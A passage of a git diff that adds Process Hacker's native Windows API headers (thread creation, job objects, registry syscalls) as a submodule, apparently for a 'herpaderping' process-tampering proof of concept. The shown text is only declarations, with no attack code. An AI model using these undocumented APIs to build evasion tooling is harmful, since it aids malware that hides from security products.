_In_opt_ PVOID ProcessParameters, // PRTL_USER_PROCESS_PARAMETERS + _Inout_ PPS_CREATE_INFO CreateInfo, + _In_opt_ PPS_ATTRIBUTE_LIST AttributeList + ); +#endif + +// begin_rev +#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED 0x00000001 +#define THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH 0x00000002 // ? +#define THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER 0x00000004 +#define THREAD_CREATE_FLAGS_HAS_SECURITY_DESCRIPTOR 0x00000010 // ? +#define THREAD_CREATE_FLAGS_ACCESS_CHECK_IN_TARGET 0x00000020 // ? +#define THREAD_CREATE_FLAGS_INITIAL_THREAD 0x00000080 +// end_rev + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateThreadEx( + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ProcessHandle, + _In_ PVOID StartRoutine, // PUSER_THREAD_START_ROUTINE + _In_opt_ PVOID Argument, + _In_ ULONG CreateFlags, // THREAD_CREATE_FLAGS_* + _In_ SIZE_T ZeroBits, + _In_ SIZE_T StackSize, + _In_ SIZE_T MaximumStackSize, + _In_opt_ PPS_ATTRIBUTE_LIST AttributeList + ); +#endif + +#endif + +// Job objects + +#if (PHNT_MODE != PHNT_MODE_KERNEL) + +// JOBOBJECTINFOCLASS +// Note: We don't use an enum since it conflicts with the Windows SDK. +#define JobObjectBasicAccountingInformation 1 // JOBOBJECT_BASIC_ACCOUNTING_INFORMATION +#define JobObjectBasicLimitInformation 2 // JOBOBJECT_BASIC_LIMIT_INFORMATION +#define JobObjectBasicProcessIdList 3 // JOBOBJECT_BASIC_PROCESS_ID_LIST +#define JobObjectBasicUIRestrictions 4 // JOBOBJECT_BASIC_UI_RESTRICTIONS +#define JobObjectSecurityLimitInformation 5 // JOBOBJECT_SECURITY_LIMIT_INFORMATION +#define JobObjectEndOfJobTimeInformation 6 // JOBOBJECT_END_OF_JOB_TIME_INFORMATION +#define JobObjectAssociateCompletionPortInformation 7 // JOBOBJECT_ASSOCIATE_COMPLETION_PORT +#define JobObjectBasicAndIoAccountingInformation 8 // JOBOBJECT_BASIC_AND_IO_ACCOUNTING_INFORMATION +#define JobObjectExtendedLimitInformation 9 // JOBOBJECT_EXTENDED_LIMIT_INFORMATION +#define JobObjectJobSetInformation 10 // JOBOBJECT_JOBSET_INFORMATION +#define JobObjectGroupInformation 11 // USHORT +#define JobObjectNotificationLimitInformation 12 // JOBOBJECT_NOTIFICATION_LIMIT_INFORMATION +#define JobObjectLimitViolationInformation 13 // JOBOBJECT_LIMIT_VIOLATION_INFORMATION +#define JobObjectGroupInformationEx 14 // GROUP_AFFINITY (ARRAY) +#define JobObjectCpuRateControlInformation 15 // JOBOBJECT_CPU_RATE_CONTROL_INFORMATION +#define JobObjectCompletionFilter 16 +#define JobObjectCompletionCounter 17 +#define JobObjectFreezeInformation 18 // JOBOBJECT_FREEZE_INFORMATION +#define JobObjectExtendedAccountingInformation 19 // JOBOBJECT_EXTENDED_ACCOUNTING_INFORMATION +#define JobObjectWakeInformation 20 // JOBOBJECT_WAKE_INFORMATION +#define JobObjectBackgroundInformation 21 +#define JobObjectSchedulingRankBiasInformation 22 +#define JobObjectTimerVirtualizationInformation 23 +#define JobObjectCycleTimeNotification 24 +#define JobObjectClearEvent 25 +#define JobObjectInterferenceInformation 26 // JOBOBJECT_INTERFERENCE_INFORMATION +#define JobObjectClearPeakJobMemoryUsed 27 +#define JobObjectMemoryUsageInformation 28 // JOBOBJECT_MEMORY_USAGE_INFORMATION // JOBOBJECT_MEMORY_USAGE_INFORMATION_V2 +#define JobObjectSharedCommit 29 +#define JobObjectContainerId 30 +#define JobObjectIoRateControlInformation 31 +#define JobObjectNetRateControlInformation 32 // JOBOBJECT_NET_RATE_CONTROL_INFORMATION +#define JobObjectNotificationLimitInformation2 33 // JOBOBJECT_NOTIFICATION_LIMIT_INFORMATION_2 +#define JobObjectLimitViolationInformation2 34 // JOBOBJECT_LIMIT_VIOLATION_INFORMATION_2 +#define JobObjectCreateSilo 35 +#define JobObjectSiloBasicInformation 36 // SILOOBJECT_BASIC_INFORMATION +#define JobObjectSiloRootDirectory 37 // SILOOBJECT_ROOT_DIRECTORY +#define JobObjectServerSiloBasicInformation 38 // SERVERSILO_BASIC_INFORMATION +#define JobObjectServerSiloUserSharedData 39 // SILO_USER_SHARED_DATA +#define JobObjectServerSiloInitialize 40 +#define JobObjectServerSiloRunningState 41 +#define JobObjectIoAttribution 42 +#define JobObjectMemoryPartitionInformation 43 +#define JobObjectContainerTelemetryId 44 +#define JobObjectSiloSystemRoot 45 +#define JobObjectEnergyTrackingState 46 // JOBOBJECT_ENERGY_TRACKING_STATE +#define JobObjectThreadImpersonationInformation 47 +#define MaxJobObjectInfoClass 48 + +// private +typedef struct _JOBOBJECT_EXTENDED_ACCOUNTING_INFORMATION +{ + JOBOBJECT_BASIC_ACCOUNTING_INFORMATION BasicInfo; + IO_COUNTERS IoInfo; + PROCESS_DISK_COUNTERS DiskIoInfo; + ULONG64 ContextSwitches; + LARGE_INTEGER TotalCycleTime; + ULONG64 ReadyTime; + PROCESS_ENERGY_VALUES EnergyValues; +} JOBOBJECT_EXTENDED_ACCOUNTING_INFORMATION, *PJOBOBJECT_EXTENDED_ACCOUNTING_INFORMATION; + +// private +typedef struct _JOBOBJECT_WAKE_INFORMATION +{ + HANDLE NotificationChannel; + ULONG64 WakeCounters[7]; +} JOBOBJECT_WAKE_INFORMATION, *PJOBOBJECT_WAKE_INFORMATION; + +// private +typedef struct _JOBOBJECT_WAKE_INFORMATION_V1 +{ + HANDLE NotificationChannel; + ULONG64 WakeCounters[4]; +} JOBOBJECT_WAKE_INFORMATION_V1, *PJOBOBJECT_WAKE_INFORMATION_V1; + +// private +typedef struct _JOBOBJECT_INTERFERENCE_INFORMATION +{ + ULONG64 Count; +} JOBOBJECT_INTERFERENCE_INFORMATION, *PJOBOBJECT_INTERFERENCE_INFORMATION; + +// private +typedef struct _JOBOBJECT_WAKE_FILTER +{ + ULONG HighEdgeFilter; + ULONG LowEdgeFilter; +} JOBOBJECT_WAKE_FILTER, *PJOBOBJECT_WAKE_FILTER; + +// private +typedef struct _JOBOBJECT_FREEZE_INFORMATION +{ + union + { + ULONG Flags; + struct + { + ULONG FreezeOperation : 1; + ULONG FilterOperation : 1; + ULONG SwapOperation : 1; + ULONG Reserved : 29; + }; + }; + BOOLEAN Freeze; + BOOLEAN Swap; + UCHAR Reserved0[2]; + JOBOBJECT_WAKE_FILTER WakeFilter; +} JOBOBJECT_FREEZE_INFORMATION, *PJOBOBJECT_FREEZE_INFORMATION; + +// private +typedef struct _JOBOBJECT_MEMORY_USAGE_INFORMATION +{ + ULONG64 JobMemory; + ULONG64 PeakJobMemoryUsed; +} JOBOBJECT_MEMORY_USAGE_INFORMATION, *PJOBOBJECT_MEMORY_USAGE_INFORMATION; + +// private +typedef struct _JOBOBJECT_MEMORY_USAGE_INFORMATION_V2 +{ + JOBOBJECT_MEMORY_USAGE_INFORMATION BasicInfo; + ULONG64 JobSharedMemory; + ULONG64 Reserved[2]; +} JOBOBJECT_MEMORY_USAGE_INFORMATION_V2, *PJOBOBJECT_MEMORY_USAGE_INFORMATION_V2; + +// private +typedef struct _SILO_USER_SHARED_DATA +{ + ULONG64 ServiceSessionId; + ULONG ActiveConsoleId; + LONGLONG ConsoleSessionForegroundProcessId; + NT_PRODUCT_TYPE NtProductType; + ULONG SuiteMask; + ULONG SharedUserSessionId; + BOOLEAN IsMultiSessionSku; + WCHAR NtSystemRoot[260]; + USHORT UserModeGlobalLogger[16]; +} SILO_USER_SHARED_DATA, *PSILO_USER_SHARED_DATA; + +// private +typedef struct _SILOOBJECT_ROOT_DIRECTORY +{ + ULONG ControlFlags; + UNICODE_STRING Path; +} SILOOBJECT_ROOT_DIRECTORY, *PSILOOBJECT_ROOT_DIRECTORY; + +// private +typedef struct _JOBOBJECT_ENERGY_TRACKING_STATE +{ + ULONG64 Value; + ULONG UpdateMask; + ULONG DesiredState; +} JOBOBJECT_ENERGY_TRACKING_STATE, *PJOBOBJECT_ENERGY_TRACKING_STATE; + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateJobObject( + _Out_ PHANDLE JobHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenJobObject( + _Out_ PHANDLE JobHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAssignProcessToJobObject( + _In_ HANDLE JobHandle, + _In_ HANDLE ProcessHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtTerminateJobObject( + _In_ HANDLE JobHandle, + _In_ NTSTATUS ExitStatus + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtIsProcessInJob( + _In_ HANDLE ProcessHandle, + _In_opt_ HANDLE JobHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationJobObject( + _In_opt_ HANDLE JobHandle, + _In_ JOBOBJECTINFOCLASS JobObjectInformationClass, + _Out_writes_bytes_(JobObjectInformationLength) PVOID JobObjectInformation, + _In_ ULONG JobObjectInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationJobObject( + _In_ HANDLE JobHandle, + _In_ JOBOBJECTINFOCLASS JobObjectInformationClass, + _In_reads_bytes_(JobObjectInformationLength) PVOID JobObjectInformation, + _In_ ULONG JobObjectInformationLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateJobSet( + _In_ ULONG NumJob, + _In_reads_(NumJob) PJOB_SET_ARRAY UserJobSet, + _In_ ULONG Flags + ); + +#if (PHNT_VERSION >= PHNT_THRESHOLD) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRevertContainerImpersonation( + VOID + ); +#endif + +#endif + +// Reserve objects + +#if (PHNT_MODE != PHNT_MODE_KERNEL) + +// private +typedef enum _MEMORY_RESERVE_TYPE +{ + MemoryReserveUserApc, + MemoryReserveIoCompletion, + MemoryReserveTypeMax +} MEMORY_RESERVE_TYPE; + +#if (PHNT_VERSION >= PHNT_WIN7) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAllocateReserveObject( + _Out_ PHANDLE MemoryReserveHandle, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ MEMORY_RESERVE_TYPE Type + ); +#endif + +#endif + +#endif diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntregapi.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntregapi.h new file mode 100644 index 00000000..3af06afd --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntregapi.h @@ -0,0 +1,664 @@ +/* + * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#ifndef _NTREGAPI_H +#define _NTREGAPI_H + +// Boot condition flags (NtInitializeRegistry) + +#define REG_INIT_BOOT_SM 0x0000 +#define REG_INIT_BOOT_SETUP 0x0001 +#define REG_INIT_BOOT_ACCEPTED_BASE 0x0002 +#define REG_INIT_BOOT_ACCEPTED_MAX REG_INIT_BOOT_ACCEPTED_BASE + 999 + +#define REG_MAX_KEY_VALUE_NAME_LENGTH 32767 +#define REG_MAX_KEY_NAME_LENGTH 512 + +typedef enum _KEY_INFORMATION_CLASS +{ + KeyBasicInformation, // KEY_BASIC_INFORMATION + KeyNodeInformation, // KEY_NODE_INFORMATION + KeyFullInformation, // KEY_FULL_INFORMATION + KeyNameInformation, // KEY_NAME_INFORMATION + KeyCachedInformation, // KEY_CACHED_INFORMATION + KeyFlagsInformation, // KEY_FLAGS_INFORMATION + KeyVirtualizationInformation, // KEY_VIRTUALIZATION_INFORMATION + KeyHandleTagsInformation, // KEY_HANDLE_TAGS_INFORMATION + KeyTrustInformation, // KEY_TRUST_INFORMATION + KeyLayerInformation, // KEY_LAYER_INFORMATION + MaxKeyInfoClass +} KEY_INFORMATION_CLASS; + +typedef struct _KEY_BASIC_INFORMATION +{ + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG NameLength; + WCHAR Name[1]; +} KEY_BASIC_INFORMATION, *PKEY_BASIC_INFORMATION; + +typedef struct _KEY_NODE_INFORMATION +{ + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG ClassOffset; + ULONG ClassLength; + ULONG NameLength; + WCHAR Name[1]; + // ... + // WCHAR Class[1]; +} KEY_NODE_INFORMATION, *PKEY_NODE_INFORMATION; + +typedef struct _KEY_FULL_INFORMATION +{ + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG ClassOffset; + ULONG ClassLength; + ULONG SubKeys; + ULONG MaxNameLen; + ULONG MaxClassLen; + ULONG Values; + ULONG MaxValueNameLen; + ULONG MaxValueDataLen; + WCHAR Class[1]; +} KEY_FULL_INFORMATION, *PKEY_FULL_INFORMATION; + +typedef struct _KEY_NAME_INFORMATION +{ + ULONG NameLength; + WCHAR Name[1]; +} KEY_NAME_INFORMATION, *PKEY_NAME_INFORMATION; + +typedef struct _KEY_CACHED_INFORMATION +{ + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG SubKeys; + ULONG MaxNameLen; + ULONG Values; + ULONG MaxValueNameLen; + ULONG MaxValueDataLen; + ULONG NameLength; + WCHAR Name[1]; +} KEY_CACHED_INFORMATION, *PKEY_CACHED_INFORMATION; + +typedef struct _KEY_FLAGS_INFORMATION +{ + ULONG UserFlags; +} KEY_FLAGS_INFORMATION, *PKEY_FLAGS_INFORMATION; + +typedef struct _KEY_VIRTUALIZATION_INFORMATION +{ + ULONG VirtualizationCandidate : 1; // Tells whether the key is part of the virtualization namespace scope (only HKLM\Software for now). + ULONG VirtualizationEnabled : 1; // Tells whether virtualization is enabled on this key. Can be 1 only if above flag is 1. + ULONG VirtualTarget : 1; // Tells if the key is a virtual key. Can be 1 only if above 2 are 0. Valid only on the virtual store key handles. + ULONG VirtualStore : 1; // Tells if the key is a part of the virtual store path. Valid only on the virtual store key handles. + ULONG VirtualSource : 1; // Tells if the key has ever been virtualized, can be 1 only if VirtualizationCandidate is 1. + ULONG Reserved : 27; +} KEY_VIRTUALIZATION_INFORMATION, *PKEY_VIRTUALIZATION_INFORMATION; + +// private +typedef struct _KEY_TRUST_INFORMATION +{ + ULONG TrustedKey : 1; + ULONG Reserved : 31; +} KEY_TRUST_INFORMATION, *PKEY_TRUST_INFORMATION; + +// private +typedef struct _KEY_LAYER_INFORMATION +{ + ULONG IsTombstone; + ULONG IsSupersedeLocal; + ULONG IsSupersedeTree; + ULONG ClassIsInherited; + ULONG Reserved; +} KEY_LAYER_INFORMATION, *PKEY_LAYER_INFORMATION; + +typedef enum _KEY_SET_INFORMATION_CLASS +{ + KeyWriteTimeInformation, // KEY_WRITE_TIME_INFORMATION + KeyWow64FlagsInformation, // KEY_WOW64_FLAGS_INFORMATION + KeyControlFlagsInformation, // KEY_CONTROL_FLAGS_INFORMATION + KeySetVirtualizationInformation, // KEY_SET_VIRTUALIZATION_INFORMATION + KeySetDebugInformation, + KeySetHandleTagsInformation, // KEY_HANDLE_TAGS_INFORMATION + KeySetLayerInformation, // KEY_SET_LAYER_INFORMATION + MaxKeySetInfoClass +} KEY_SET_INFORMATION_CLASS; + +typedef struct _KEY_WRITE_TIME_INFORMATION +{ + LARGE_INTEGER LastWriteTime; +} KEY_WRITE_TIME_INFORMATION, *PKEY_WRITE_TIME_INFORMATION; + +typedef struct _KEY_WOW64_FLAGS_INFORMATION +{ + ULONG UserFlags; +} KEY_WOW64_FLAGS_INFORMATION, *PKEY_WOW64_FLAGS_INFORMATION; + +typedef struct _KEY_HANDLE_TAGS_INFORMATION +{ + ULONG HandleTags; +} KEY_HANDLE_TAGS_INFORMATION, *PKEY_HANDLE_TAGS_INFORMATION; + +typedef struct _KEY_SET_LAYER_INFORMATION +{ + ULONG IsTombstone : 1; + ULONG IsSupersedeLocal : 1; + ULONG IsSupersedeTree : 1; + ULONG ClassIsInherited : 1; + ULONG Reserved : 28; +} KEY_SET_LAYER_INFORMATION, *PKEY_SET_LAYER_INFORMATION; + +typedef struct _KEY_CONTROL_FLAGS_INFORMATION +{ + ULONG ControlFlags; +} KEY_CONTROL_FLAGS_INFORMATION, *PKEY_CONTROL_FLAGS_INFORMATION; + +typedef struct _KEY_SET_VIRTUALIZATION_INFORMATION +{ + ULONG VirtualTarget : 1; + ULONG VirtualStore : 1; + ULONG VirtualSource : 1; // true if key has been virtualized at least once + ULONG Reserved : 29; +} KEY_SET_VIRTUALIZATION_INFORMATION, *PKEY_SET_VIRTUALIZATION_INFORMATION; + +typedef enum _KEY_VALUE_INFORMATION_CLASS +{ + KeyValueBasicInformation, // KEY_VALUE_BASIC_INFORMATION + KeyValueFullInformation, // KEY_VALUE_FULL_INFORMATION + KeyValuePartialInformation, // KEY_VALUE_PARTIAL_INFORMATION + KeyValueFullInformationAlign64, + KeyValuePartialInformationAlign64, // KEY_VALUE_PARTIAL_INFORMATION_ALIGN64 + KeyValueLayerInformation, // KEY_VALUE_LAYER_INFORMATION + MaxKeyValueInfoClass +} KEY_VALUE_INFORMATION_CLASS; + +typedef struct _KEY_VALUE_BASIC_INFORMATION +{ + ULONG TitleIndex; + ULONG Type; + ULONG NameLength; + WCHAR Name[1]; +} KEY_VALUE_BASIC_INFORMATION, *PKEY_VALUE_BASIC_INFORMATION; + +typedef struct _KEY_VALUE_FULL_INFORMATION +{ + ULONG TitleIndex; + ULONG Type; + ULONG DataOffset; + ULONG DataLength; + ULONG NameLength; + WCHAR Name[1]; + // ... + // UCHAR Data[1]; +} KEY_VALUE_FULL_INFORMATION, *PKEY_VALUE_FULL_INFORMATION; + +typedef struct _KEY_VALUE_PARTIAL_INFORMATION +{ + ULONG TitleIndex; + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; +} KEY_VALUE_PARTIAL_INFORMATION, *PKEY_VALUE_PARTIAL_INFORMATION; + +typedef struct _KEY_VALUE_PARTIAL_INFORMATION_ALIGN64 +{ + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; +} KEY_VALUE_PARTIAL_INFORMATION_ALIGN64, *PKEY_VALUE_PARTIAL_INFORMATION_ALIGN64; + +// private +typedef struct _KEY_VALUE_LAYER_INFORMATION +{ + ULONG IsTombstone; + ULONG Reserved; +} KEY_VALUE_LAYER_INFORMATION, *PKEY_VALUE_LAYER_INFORMATION; + +typedef struct _KEY_VALUE_ENTRY +{ + PUNICODE_STRING ValueName; + ULONG DataLength; + ULONG DataOffset; + ULONG Type; +} KEY_VALUE_ENTRY, *PKEY_VALUE_ENTRY; + +typedef enum _REG_ACTION +{ + KeyAdded, + KeyRemoved, + KeyModified +} REG_ACTION; + +typedef struct _REG_NOTIFY_INFORMATION +{ + ULONG NextEntryOffset; + REG_ACTION Action; + ULONG KeyLength; + WCHAR Key[1]; +} REG_NOTIFY_INFORMATION, *PREG_NOTIFY_INFORMATION; + +typedef struct _KEY_PID_ARRAY +{ + HANDLE ProcessId; + UNICODE_STRING KeyName; +} KEY_PID_ARRAY, *PKEY_PID_ARRAY; + +typedef struct _KEY_OPEN_SUBKEYS_INFORMATION +{ + ULONG Count; + KEY_PID_ARRAY KeyArray[1]; +} KEY_OPEN_SUBKEYS_INFORMATION, *PKEY_OPEN_SUBKEYS_INFORMATION; + +// System calls + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateKey( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Reserved_ ULONG TitleIndex, + _In_opt_ PUNICODE_STRING Class, + _In_ ULONG CreateOptions, + _Out_opt_ PULONG Disposition + ); + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateKeyTransacted( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Reserved_ ULONG TitleIndex, + _In_opt_ PUNICODE_STRING Class, + _In_ ULONG CreateOptions, + _In_ HANDLE TransactionHandle, + _Out_opt_ PULONG Disposition + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenKey( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenKeyTransacted( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE TransactionHandle + ); +#endif + +#if (PHNT_VERSION >= PHNT_WIN7) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenKeyEx( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG OpenOptions + ); +#endif + +#if (PHNT_VERSION >= PHNT_WIN7) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenKeyTransactedEx( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG OpenOptions, + _In_ HANDLE TransactionHandle + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeleteKey( + _In_ HANDLE KeyHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRenameKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING NewName + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeleteValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryKey( + _In_ HANDLE KeyHandle, + _In_ KEY_INFORMATION_CLASS KeyInformationClass, + _Out_writes_bytes_opt_(Length) PVOID KeyInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationKey( + _In_ HANDLE KeyHandle, + _In_ KEY_SET_INFORMATION_CLASS KeySetInformationClass, + _In_reads_bytes_(KeySetInformationLength) PVOID KeySetInformation, + _In_ ULONG KeySetInformationLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName, + _In_ KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + _Out_writes_bytes_opt_(Length) PVOID KeyValueInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName, + _In_opt_ ULONG TitleIndex, + _In_ ULONG Type, + _In_reads_bytes_opt_(DataSize) PVOID Data, + _In_ ULONG DataSize + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryMultipleValueKey( + _In_ HANDLE KeyHandle, + _Inout_updates_(EntryCount) PKEY_VALUE_ENTRY ValueEntries, + _In_ ULONG EntryCount, + _Out_writes_bytes_(*BufferLength) PVOID ValueBuffer, + _Inout_ PULONG BufferLength, + _Out_opt_ PULONG RequiredBufferLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtEnumerateKey( + _In_ HANDLE KeyHandle, + _In_ ULONG Index, + _In_ KEY_INFORMATION_CLASS KeyInformationClass, + _Out_writes_bytes_opt_(Length) PVOID KeyInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtEnumerateValueKey( + _In_ HANDLE KeyHandle, + _In_ ULONG Index, + _In_ KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + _Out_writes_bytes_opt_(Length) PVOID KeyValueInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtFlushKey( + _In_ HANDLE KeyHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCompactKeys( + _In_ ULONG Count, + _In_reads_(Count) HANDLE KeyArray[] + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCompressKey( + _In_ HANDLE Key + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtLoadKey( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ POBJECT_ATTRIBUTES SourceFile + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtLoadKey2( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ POBJECT_ATTRIBUTES SourceFile, + _In_ ULONG Flags + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtLoadKeyEx( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ POBJECT_ATTRIBUTES SourceFile, + _In_ ULONG Flags, + _In_opt_ HANDLE TrustClassKey, + _In_opt_ HANDLE Event, + _In_opt_ ACCESS_MASK DesiredAccess, + _Out_opt_ PHANDLE RootHandle, + _Out_opt_ PIO_STATUS_BLOCK IoStatus + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtReplaceKey( + _In_ POBJECT_ATTRIBUTES NewFile, + _In_ HANDLE TargetHandle, + _In_ POBJECT_ATTRIBUTES OldFile + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSaveKey( + _In_ HANDLE KeyHandle, + _In_ HANDLE FileHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSaveKeyEx( + _In_ HANDLE KeyHandle, + _In_ HANDLE FileHandle, + _In_ ULONG Format + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSaveMergedKeys( + _In_ HANDLE HighPrecedenceKeyHandle, + _In_ HANDLE LowPrecedenceKeyHandle, + _In_ HANDLE FileHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRestoreKey( + _In_ HANDLE KeyHandle, + _In_ HANDLE FileHandle, + _In_ ULONG Flags + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtUnloadKey( + _In_ POBJECT_ATTRIBUTES TargetKey + ); + +// +// NtUnloadKey2 Flags (from winnt.h) +// +//#define REG_FORCE_UNLOAD 1 +//#define REG_UNLOAD_LEGAL_FLAGS (REG_FORCE_UNLOAD) + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtUnloadKey2( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ ULONG Flags + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtUnloadKeyEx( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_opt_ HANDLE Event + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtNotifyChangeKey( + _In_ HANDLE KeyHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree, + _Out_writes_bytes_opt_(BufferSize) PVOID Buffer, + _In_ ULONG BufferSize, + _In_ BOOLEAN Asynchronous + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtNotifyChangeMultipleKeys( + _In_ HANDLE MasterKeyHandle, + _In_opt_ ULONG Count, + _In_reads_opt_(Count) OBJECT_ATTRIBUTES SubordinateObjects[], + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree, + _Out_writes_bytes_opt_(BufferSize) PVOID Buffer, + _In_ ULONG BufferSize, + _In_ BOOLEAN Asynchronous + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryOpenSubKeys( + _In_ POBJECT_ATTRIBUTES TargetKey, + _Out_ PULONG HandleCount + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryOpenSubKeysEx( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ ULONG BufferLength, + _Out_writes_bytes_opt_(BufferLength) PVOID Buffer, + _Out_ PULONG RequiredSize + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtInitializeRegistry( + _In_ USHORT BootCondition + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtLockRegistryKey( + _In_ HANDLE KeyHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtLockProductActivationKeys( + _Inout_opt_ ULONG *pPrivateVer, + _Out_opt_ ULONG *pSafeMode + ); + +#if (PHNT_VERSION >= PHNT_VISTA) +// private +NTSYSCALLAPI +NTSTATUS +NTAPI +NtFreezeRegistry( + _In_ ULONG TimeOutInSeconds + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +// private +NTSYSCALLAPI +NTSTATUS +NTAPI +NtThawRegistry( + VOID + ); +#endif + +#endif diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntrtl.h 